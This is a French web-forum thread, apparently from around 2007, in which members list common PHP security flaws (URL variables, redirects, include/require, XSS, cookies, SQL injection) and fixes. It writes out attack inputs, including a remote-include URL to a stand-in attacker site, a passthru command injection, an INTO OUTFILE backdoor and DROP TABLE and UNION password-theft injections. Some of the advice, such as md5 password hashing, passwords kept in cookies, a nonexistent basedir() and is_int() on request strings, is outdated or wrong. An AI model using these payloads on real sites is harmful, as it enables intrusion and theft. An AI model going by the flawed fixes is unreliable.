Aide - Recherche - Membres - Calendrier
Version complète : Les Failles En Php
La Communauté TitaXium > Service Communication > Espace Developpement
hihihi
Le topic des failles PHP


Voici un sujet qui existe déjà en persistant sur plusieurs forums dont je suis l'auteur, j'espère qu'il servira autant qu'ailleurs. =]

Ce sujet a la prétention de regrouper les failles PHP les plus courantes et les plus dangereuses. Je m'employerais à tenir un discour accessible aux initiés comme aux débutants. Des allusions à des fonctions PHP pourront être faites, ce n'est pas le rôle de ce sujet que de vous apprendre à les utiliser, ainsi, je vous invite à vous référer à la documentation de PHP pour les termes qui ne vous poseraient problème.

Ces textes sont libres de droits, pour ma part, si vous souhaitez les utiliser sur votre site ou forum, merci d'indiquer la provenance, et le (ou les) auteur(s).

1. Les variables dans l'URL
2. Défauts de la redirection
3. Faille Include()
4. Failles XSS
5. Failles Cookies
6. Faille Urlencode()
7. Faille Require()
8. Trucs et astuces pour rester au sec


################################ N°1 ################################


1. Variables a l'air, gaffe aux courrants d'air.

Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin.php?loggin=1, soit quand vos identifiants de connexion sont contenus dans votre URL (à savoir une URL qui ressemblerait à http://www.site.com/admin.php?loggin=arthur&pass=toto). A partir du moment ou une personne a accès à des informations sensibles ou qu'il peut modifier une variable dans votre URL qui peut influer sur sa simple condition de visiteur à travers votre site, vous devez vous estimer en danger.

Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs.

Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, soit en faisant transiter vos identifiants de connexion entre les pages par un ID de session, soit par un fichier contenant vos identifiants installé sur votre ordinateur qui sera lu par votre site.


################################ N°2 ################################


2. La redirection ? Pas une solution.

Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique. Quels genre de codes sont infectés ?

If ($password !== "Pouletgrille") { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; }

Pourquoi ? Que va il se passer quand le piratin va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits.

Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit :

If ($password == "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion ! Afficher le formulaire d'identification'; }


C'est une méthode basique (certainement trop.) mais elle aura le mérite de vous protéger.

################################ N°3 ################################


3. La faille Include()

Célèbre car très utilisée, la faille include permet au pirate de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous :

<?php include("$page") ?>

Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.sitedupirate.com/script.txt, et comme le PHP est un langage merveilleux, il pourra TOUT faire.

Comment y remédier ? Il y a plusieurs solutions : Voici une liste des alternatives les plus courrantes


################################ N°4 ################################


4. La faille XSS ? Ca me donne de l'herpes !

Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) :

Salut ! <script>window.open("http://www.monsite.com/);</script>

Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium.

Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html. smile.gif

################################ N°5 ################################


5. La faille cookies ? Que nenni !

Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre.

Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait.

Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter.

################################ N°6 ################################


6. La faille urldecode() dans les requetes SQL. (par Savory)

Utilisé contre phpmyadmin et phpbb actuellement.

Par exemple pour reprendre le code de viewtopic de phpbb :

$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));

for($i = 0; $i < sizeof($words); $i++)


si on url encode ' en %27 puis re-urlencode en %2527 on peut injecter un ' au nez de la requete smile.gif et donc injecter du code php.
Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id


Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

################################ N°7 ################################


7. La faille require()

Au meme titre que l'include cité precedement sauf qu'elle est sensible au byte null genre %00
Si par exemple on a require("/home/web/lib/".$truc.".php");
on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques.

Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os :
L'exemple parlera de lui meme

1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/*

on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?>
en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E

et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page.

Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..)

################################ N°8 ################################


8. Trucs et astuces

Respectez la norme

Toujours utiliser <?php (et non <?) pour des raisons de portabilité et de compatibilité avec les futures versions de php.

Ne laissez pas de messages d'erreur

Evitez de laisser des pages en création accessibles : Vous devez être le seul à avoir acces aux messages d'erreur. ( ou utiliser error_reporting(0); )

Vérifiez l'intégrité des fichiers utilisés

Utilisez toujours la fonction basedir(); pour être sur que les fichiers contenus dans les URL se trouvent dans le même répertoire (et non importés d'autres sites exotiques)

Encodez tous les mots de passe

Exemple de procédure :

Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair":
utilisez la commande md5():

$mdp_chiffre = md5($motdepasse);

Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites:

$a_verifier = md5($ce_qui_a_ete_saisi);

et comparez ce que vous obtenez avec ce qui est stocké dans la base de données. Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant. (note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.)



###########################


Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)
ED
Très bon sujet.

Post épinglé !
Xtouch
En effet, sujet extrêmement intéressant !

Par contre je vois bien venir le truc : une pléthore de boulet vont essayer toutes ces méthodes sur le forum Titaxium. Donc autant prévenir maintenant : non, ça ne marchera pas !


Attend, j'essaye quand même <script>window.open("http://www.monsite.com/);</script>
Ah nan...

laugh.gif
ED
Tu as oublié la tentative d'execution de php dans un forum biggrin.gif

http://www.titaxium.com/forum/index.php?showtopic=15478
A06
tu as aussi oublié le cas suivant :
Code
<?php

// requête SQL typique d'une interface utilisateur
$sql = "SELECT * FROM user_tbl WHERE login = '".$login."' AND password = '".$password."';

?>

Si l'utilisateur rentre des données tel que :
Code
<?php

$login = 'guillaume';
$password = "' OR password LIKE '%";

?>

alors on a une requete du genre :
Citation
SELECT * FROM user_tbl WHERE login = 'guillaume' AND password = '' OR password LIKE '%'


Bien sur la c'est expliqué vite fait je n'est pas beaucoup de temps wink.gif la solution est d'utilisé addslashes() wink.gif
ED
Ou tout simplement encoder les mots de passes wink.gif

J'ai lu que la meilleure méthode pour ecrire des requetes "dynamique" est d'utiliser sprintf
Gu1ll4um3r0m41n
@A06: la faille dont tu parle est une injection sql "sans magic quotes"
j'appelle sa comme sa car la pluspart des hebergeurs ont activer les "magic quote" dans le php.ini ce qui a pour effet d'addslasher automatiquement tout ce qui vient de POST/GET/COOKIE donc c'est rare de trouver des failles comme dans ton exemple :/

l'autre type d'injection sql qui fonctionne aussi quand les magic quote sont activer :

Code
<?php
$id = $_GET['ID'];
mysql_query('SELECT pseudo FROM users WHERE id = '.$id);
?>


ce genre de cas reste plus courrant que les injection sql "sans magic quote" et il permet de placer un "union" dans la requete, exemple :

page.php?ID=1 UNION SELECT password FROM users WHERE id=1/*

avec ce type de faille on peut recuperer les pass crypter parfois....

pour s'en proteger, 2solutions :

Code
<?php
intval($_GET['ID']);
if(!empty($_GET['ID'])) {
$id = $_GET['ID'];
mysql_query('SELECT pseudo FROM users WHERE id = '.$id);
} else {
die('Merci d'entrer un nombre valide')
}
?>


ou

Code
<?php
if(is_numeric($_GET['ID'])) {
$id = $_GET['ID'];
mysql_query('SELECT pseudo FROM users WHERE id = '.$id);
} else {
die('Erreur');
}
?>


voila wink.gif
mOg
Sujet sympa et intéressant mais beaucoup trop juste au niveau des explications selon moi.

Deja, je pense qu'il serait bien de faire un petit rappel sur les variables $_GET, $_POST ... et leur importance depuis PHP 4.2 et la directive register_globals à OFF.

Il serait bon aussi de parler du phishing pour les failles XSS, des formulaires avec PHP_SELF, de l'upload ... enfin beaucoup de choses qui sont absentes de ce post mais pourtant tout aussi basique que les failles abordées ici.

N'ayant que très peu de temps je laisse les auteurs et autres développeurs compléter avec les "pistes" données ci-dessus, et si besoin est je complèterais.



J'oubliais, pour les failles de type SQL injection, ne perdez pas de temps a refaire ce qui est très bien fait par des spécialistes.

http://www.phpsecure.info/v2/article/InjSql.php
http://www.phpsecure.info/v2/article/phpmysql.php
Darkthrone
+1 mOg smile.gif


Parce que ne parlant pas le PHP, j'arrive pas à analyser ce qu'il faut faire et po faire sad.gif

Cependant, pour les non débutants, je pense que ce post est vraiment une mine d'or ! smile.gif
Overcrash
http://www.phpsecure.info/v2/article/InjSql.php

Il me semble que j'avais déjà posté ça, je ne sais plus si c'était ici ou sur un autre forum.

Autant soit-il, le lire est extrèmement enrichissant, que ça soit pour les plus débutants ou les plus expérimentés!

Sinon, j'ajouterais que pour un post comme celui-ci, il serait imporatant d'exposer les raisons pour lesquelles il faut vraiment faire attention à la manière dont on sécurise nos scripts. Surout si lesdits scripts servent à recueillir des informations personnelles. =)
mOg
Citation
Sinon, j'ajouterais que pour un post comme celui-ci, il serait imporatant d'exposer les raisons pour lesquelles il faut vraiment faire attention à la manière dont on sécurise nos scripts


Question de bon sens non ? smile.gif)

Le problème pour moi est que les tutos sur le net, les bouquins ... apprennent à développer mais ne parle jamais de sécu, du coup les gens apprenne d'une certaine façon et après il est difficile de les faire changer leur méthode.
FederA
En ce qui concerne la "faille" (qui n'en est pas une, il s'agit plutôt d'un manque de logique)
de la redirection en javascript pour les espaces membres.

En effet, si on se contente d'une simple redirection en javascript ou même un meta http-equiv, c'est pas le top... Il suffit de déscativer le javascript par exemple...

Personnellement, la solution que tu propose est certe efficace, mais après, sa devient vite chiant quand on veut faire un truc esthetique, parceque tu vas afficher tout un code html pour que le visiteur ai un simple mais joli "acces non autorisé". Et sa devient vite chaint si tu veux lui proposer de se reconnecter sur la même page... Toutes les pages de ton espace membre seront alors potentiellement des pages de connexion.

Pour moi, c'est tout bonnement impenssable :devil:

Donc j'utilise quand même la redirection, mais d'une autre manière, et plus sécurisé.

donc en admettant qu'on possède une page spéciallement dédié à la connexion des membres.
Par exemple index.php (dans le cas ou l'espace membre est un dossier, c'est plus pratique).

si on a une page... "livraison.php" voici comment je fait :

Code
function Protection()
    {
    $continuer = "non";  // par défaut, l'acces est refusé
    $password = $_COOKIE['password'];  // récupération du password enregistré dans le cookie
    $pseudo = $_COOKIE['pseudo'];   // récupération du pseudo enregistré dans le cookie
    if($password != "" || $pseudo != "")  // il y a beaucoup plus simple, mais je savais plus comment faire et j'avais la flemme de chercher ^^  en gros on vérifie si les cookies ont été créés
        {
                $fp = fopen ("config/users.txt", "r");  // Basé sur une bdd texte...  (pseudo et mot de passe enregistré sur un fichier texte)
        while ($z = fgets($fp, 10000))
            { $q = explode(",", $z);  // pseudo et mot de passes séparés par une virgule
            if($pseudo == md5($q[0]) && $password == rtrim($q[1])) /// Si le pseudo contenu dans le cookie correspond à celui actuellement inspecté par le script dans le fichier et que le mot de passe lui étant associé correspond à celui enregistré dans le cookie
                {
                $continuer = "oui";  /// On autorise l'acces
                }
            }
fclose($fp);  // fermeture du fichier
        }
    if($continuer != "oui")  /// Si on autorise pas l'acces
        {
[color=#FF0000]        header('Location: index.php');  /// REDIRECTION VIA LES HEADERS
        exit(); /// FIN DU SCRIPT , PLUS RIEN NE SERA AFFICHE[/color]
        }
    }


Vous pouvez très bien placer cette fonction dans un autre fichier et faire un include, sa va simplifier votre code...
En esperant que mon aide vous sera utile wink.gif


EDIT : Ouha, je suis le roi du remontage de post ^
ED
Citation
$continuer = "oui";

Tu connais les booléens ?

Code
$continuer = true;

Est plus justifié.

Pourquoi ?

"oui" est une chaine de caractère, cela peut être n'importe quoi.
true / false, 0/1 sont des "constantes", il n'y a pas de doute possible sur la valeur.
Fantome
Au passage je vois pas franchement la différence avec le code proposé par hihihi. Simplement qu'il est beaucoup plus lourd. Et donc moins clair pour une explication simple.
D'ailleur le message principal à retenir est :
Citation (hihihi)
il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde

Après les façons de le faire peuvent être très variées.
mOg
Sécurisé avec stockage de données (pseudo et password) dans un cookie ?
Perso je pense pas que ca soit la bonne solution mais ce n'est que mon avis ^^

A eviter aussi le stockage dans un fichier .txt à moins qu'il soit en dehors du directory root de ton serveur.
Mdz
Citation (mOg @ lundi 13 août 2007 à 22h56) *
A eviter aussi le stockage dans un fichier .txt à moins qu'il soit en dehors du directory root de ton serveur.

Ah bon ? :x

Tu suggère quoi alors ?
De le mettre sur un autre serveur ? (pour éviter les scans si j'ai bien compris ?)
ED
Le mettre la ou apache ne peut le lire...
Méthylbro
Il y as un principe de base pour éviter une bonne partie des failles de sécurités avec php.

Le probléme de php pour la sécurité proviens de l'un de ses avantages. C'est un langage ou les variables ne sont pas typées. En gros ; on peut trés bien créer une variable int ; puis l'utiliser pour stocker un float ; ou encore une chaine.

En pratique moi j'adore ca. Pas besoin de déclarer toute ses variables. On as besoin de quelque chose ; hop ! Magie ; il est là. Mais le probléme viens des variables externes au script. Les variables du genre $_POST; $_GET; $_SERVER; $_SESSION ; $_COOKIE ...
Et oui ; le visiteur peut mettre n'importe quoi comme valeur dedans.

Imaginez par exemple une page /site/article.php?id=1.
Vous faites une requete classique pour selectionnez un article ; et paf ; le visiteur mal intentionné frappe :
/site/article.php?id=1;DROP TABLE `article`;
Sympa non ?
Pourtant si l'on se méfie des données étrangère ; il suffit tout simplement d'écrire dans son code :
if ( is_int($_GET['id']) );
Pa besoin d'aller plus loin ; de se casser le bol avec tout plein de sprintf() et cie.

Et comme mOg l'a dit ; c'est pareil pour toutes les données étrangère au script ; notemment PHP_SELF.

la régle d'or en php est donc la suivante :

DONT TRUST FOREIGN DATA !

vous respectez cette régle ; vous éviter toutes les failles de sécurité les plus classiques. Cela résume tout. Injections ; déni de service...
Xtouch
Après cette remarque brillante de méthylbro, je tiens à m'adresser aux francophones :
Citation (méthylbro @ mercredi 24 octobre 2007 à 13h13) *
DONT TRUST FOREIGN DATA !

= NE VOUS FIEZ PAS AUX DONNÉES ÉTRANGÈRES

C'est vrai que ce qu'explique méthyl, il vaut mieux le comprendre direct. C'est la base, c'est une habitude de programmation à prendre pas compliquée du tout.
Méthylbro
oui Xtouch ... mais ca fait plus classe de le dire en anglais :x
Xtouch
Oui mais je ne savais pas ce que voulait dire "trust". :x

Et cela, malgré l'ancienne devise de Titaxium...
J'ai donc dû sortir un traducteur. :x
Méthylbro
et tu ose te dire titaxien !

Alors que dans nos coeur a tous "In Web We trust" rime encore avec TitaXium malgrés les autres <del>enfoirés</del> de Amen.
Mr. Bonheur
D'ailleurs qu'est ce qui s'est inspiré de l'autre ? Amen ? huh.gif
Méthylbro
Une chose est sûre ; nous ne nous sommes pas inspiré d'eux ...

l'inverse peut etre ... nous n'en savons rien wink.gif
Xtouch
Citation (méthylbro @ vendredi 26 octobre 2007 à 00h28) *
et tu ose te dire titaxien !

Alors que dans nos coeur a tous "In Web We trust" rime encore avec TitaXium malgrés les autres <del>enfoirés</del> de Amen.

Cette devise reste gravé dans mon coeur.

Ce n'est pas pour cela qu'elle signifie quelque chose pour moi en français. ermm.gif

edit : et mince, on s'éloigne du sujet tongue.gif
Méthylbro
pour en revenir au sujet ; un petit article d'un organisme officiel sur la sécurité en php :

Citation
Parmi les incidents traités par le CERTA, il y a beaucoup d'intrusions dans des sites WEB qui s'appuyent sur des applications développées avec le langage PHP. L'objet de cette note d'information est d'attirer l'attention sur les risques spécifiques liés à ce langage et sur les moyens de limiter l'impact des attaques contre ce type d'application...
Lire la suite
Florian_
Sujet très intéressant surtout pour les débutants dans le langage PHP biggrin.gif
Ceci est une version "bas débit" de notre forum. Pour voir la version complète avec plus d'informations, la mise en page et les images, veuillez cliquer ici.
Invision Power Board © 2001-2010 Invision Power Services, Inc.